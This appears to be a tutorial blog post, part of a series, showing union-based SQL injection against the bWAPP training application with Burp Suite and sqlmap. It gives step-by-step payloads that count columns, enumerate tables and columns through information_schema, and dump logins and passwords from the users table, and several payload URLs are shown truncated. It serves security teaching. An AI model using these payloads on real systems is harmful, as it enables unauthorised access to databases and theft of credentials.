Exploiting union-based SQL injection

5 min readDec 19, 2022


Hi all, this is the third part of SQL injection series, in previous 2 parts I explained what is SQLi and its types. And in second part I tried to exploit error-based SQL injection.

In this post will explain the union-based SQL injection. So lets begin…

In the bWAPP, select “SQL Injection (GET/Select)” as shown below:

To exploit this I am going to use burp suite as an intercepting proxy which makes capturing request and editing it easy.

Select the movie you want from the drop down and capture the request in burp suite. You will see the number assigned to movie parameter which we want to check for SQL injection.

Original GET request in burp

Sent this request to repeater so that we can play with it.

Normal request and response

Let’s first test if this is vulnerable to SQL injection, I will use single quote(‘) to break the SQL query and if error is not handled properly we will see SQL error.

Testing for SQL injection

As we see the SQL error which confirms the application is vulnerable to SQLi.

In Union based SQLi, we will first try to find the number of columns that query return, for this we will use ORDER BY clause with increasing number of columns until an error occurred. Below is the first request. For this I does not get any error which confirms there is 1 column.

GET /bWAPP/sqli_2.php?movie=2+ORDER+BY+1+--+&action=go

Now as we need to increase the number of columns, we need to automate this. For that we can use intruder in burp suite.

Initial request in Intruder
Payload configuration in Intruder
Result in intruder

As we can see for first 7 requests, the response length is 14730 and there is no error in response, but from 8 through 15 it is 3175 and response return error as below.

SQL error showing unknown number of columns

This confirms there are 7 columns which returns from the original query.

Now we need to determine the columns which can be used to extract the data. For that we can use UNION ALL SELECT . The query to do that is,2,3,4,5,6,7+--+&action=go

You wondering why we use “AND 1=1” before UNION, this is because we want to get the data if we don’t use we won’t get data that we are looking for.

The response to this in the browser is:

Response in browser

Let’s try to extract some data like database name, database user etc. To do that we need to put command in place of numbers 2,3,4 and 5 in above query.,@@version,user(),4,database(),6,7+--+&action=go

extracting data using sql injection

Now we know the name of the database i.e. bWAPP. Now we should extract the number of tables in this database.,2,3,COUNT(*),5,6,7+FROM+information_schema.tables+WHERE+table_schema=%22bwapp%22--+&action=go

So we are using SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=bwapp.

If you notice the column name “Gener” in response you will notice number 5. So that will be the number of tables in database bwapp.

Finding number of tables in database bwapp

Now lets find the name of all 5 tables in bwapp database. If we use simple query like below, we can only able to extract name of first table name.,table_name,3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=%22bwapp%22--+&action=go

without limit clause

But we need the name of all tables and for that we can use limit clause. We have 5 tables so the we will use limit as “limit 0,1” we need to increase the first number still 4 which will give the name of table.

The below query will give “blog” as table name.,table_name,3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=%22bwapp%22+LIMIT+0,1--+&action=go

The below query will give “heroes” as table name.,table_name,3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=%22bwapp%22+LIMIT+1,1--+&action=go

The below query will give “movies” as table name.,table_name,3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=%22bwapp%22+LIMIT+2,1--+&action=go

The below query will give “users” as table name.,table_name,3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=%22bwapp%22+LIMIT+3,1--+&action=go

The below query will give “visitors” as table name.,table_name,3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=%22bwapp%22+LIMIT+4,1--+&action=go

Now we have 5 table names blog,heroes,movies,users and visitors. Definitely we are interested in ‘users’ table.

First we need to find the number of columns in ‘users’ table. For this we will use query ‘ SELECT COUNT(*) FROM information_schema.columns where table_schema=”bwapp” AND table_name=”users”,2,3,COUNT(*),5,6,7+FROM+information_schema.columns+WHERE+table_schema=%22bwapp%22+AND+table_name=%22users%22--+&action=go

number of tables in users table

Now again we need to find the name of each column and for that we again going to use limit clause.,2,3,column_name,5,6,7+FROM+information_schema.columns+WHERE+table_schema=%22bwapp%22+AND+table_name=%22users%22+LIMIT+0,1+--+&action=go


Above is the list of columns and we are interested in login,password and admin.Before that we need to find the number of records in the table. Below query can find it out.,2,3,COUNT(*),5,6,7+FROM+users+--+&action=go

Number of records in users table

Let’s extract the data.,2,login,admin,password,6,7+FROM+users+limit+0,1+--+&action=go

This is how we can exploit the Union Based SQLi.

Lets exploit this using sqlmap. For that we need to capture the post request, save it in a file and use technique as Union on sqlmap.

SQLMAP showing extracted database name